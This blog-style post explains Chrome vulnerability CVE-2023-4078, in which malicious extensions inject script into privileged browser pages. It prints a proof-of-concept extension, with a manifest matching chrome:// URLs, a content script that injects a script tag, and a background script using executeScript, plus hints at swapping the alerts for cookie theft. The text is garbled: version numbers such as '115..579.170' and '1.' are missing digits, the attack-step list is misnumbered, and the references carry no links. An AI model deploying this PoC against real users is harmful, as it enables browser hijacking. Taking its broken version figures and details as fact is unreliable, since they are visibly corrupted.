In the world of web browsers, Google Chrome’s extensions ecosystem brings a lot of value and utility. But with great flexibility comes security risks. One of these risks was discovered in 2023: CVE-2023-4078. This vulnerability affected Chrome versions prior to 115..579.170 and involved improper implementation of extension privileges. It enabled attackers to inject scripts or HTML into privileged browser pages just by tricking users into installing a malicious Chrome extension.

In this post, I’ll walk you through how the bug worked, give you sample code, discuss how attackers could exploit this behavior, and show you where to find more technical details.

Severity: Medium (Chromium security severity rating)

- Impact: Script/HTML injection into privileged pages via a malicious extension

In plain words:  
If a user installed a malicious Chrome extension, the attacker could make the extension inject unwanted code into special (privileged) Chrome pages — which should be protected.

How Did the Vulnerability Work?

Chrome extensions can ask for special permissions or use powerful APIs. Sometimes, mistakes in how Chrome checks those powers can let “evil” extensions do more than they should.

For CVE-2023-4078, the browser did not properly sandbox or isolate some pages/extensions, which allowed crafted extensions to inject scripts into privileged pages that are supposed to be immune.

Victim installs extension (usually through phishing or flashy promises)

3. Malicious extension loads/injects scripts into a privileged page
4. Attacker gains access to sensitive API, information, or controls UI/interactions

Proof-of-Concept (PoC) Code Example

Let’s say an attacker creates a Chrome extension with the following manifest and scripts.

1. manifest.json

{
  "manifest_version": 3,
  "name": "Evil Live Wallpaper",
  "version": "1.",
  "permissions": ["scripting", "activeTab"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["chrome://*/*"],
    "js": ["evil.js"],
    "run_at": "document_start"
  }]
}

Red flag:
- The extension claims to work with any chrome:// URL (should be impossible for regular extensions!)

2. evil.js

// This script will try to inject a script tag into a privileged page
(function() {
  var script = document.createElement('script');
  script.textContent = "alert('Your browser is now owned!');";
  document.documentElement.appendChild(script);
})();

3. background.js (Optional, can try to escalate further)

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (tab.url.startsWith("chrome://")) {
    chrome.scripting.executeScript({
      target: { tabId: tabId },
      func: () => {
        alert("Injected into a Chrome privileged page!");
      }
    });
  }
});

What would happen?

- When the user opens a privileged page (e.g., Chrome’s settings), the extension sneaks in and runs its code, causing the pop-up.
- An actual attacker could swap the alert for code that steals cookies, changes browser settings, or installs further malware.

- Chromium Security Advisory (CVE-2023-4078)
- NIST National Vulnerability Database CVE-2023-4078
- Chromium Security Blog: Extension Security
- GitHub Issue Discussion (archived)

How was it Fixed?

The Chrome devs tightened the rules and added more checks to ensure extensions cannot inject code into privileged Chrome pages — even if you are tricked into installing them. Basically, Chrome now blocks such injections.

Always update Chrome to the latest version (at least 115..579.170)

- Only install extensions from the Chrome Web Store

Conclusion

CVE-2023-4078 is a good reminder: browser extensions are powerful and must be treated with care. Even a seemingly harmless extension may turn your browser into an attacker's playground if you’re not careful.

If you’re a developer, always limit the privileges your code asks for.  
If you’re a user, only install what you really need, and keep Chrome up to date.


*Stay safe online! Share this post if you learned something new. Need more details? Check the reference links above.*

Timeline

Published on: 08/03/2023 01:15:00 UTC
Last modified on: 08/12/2023 06:21:00 UTC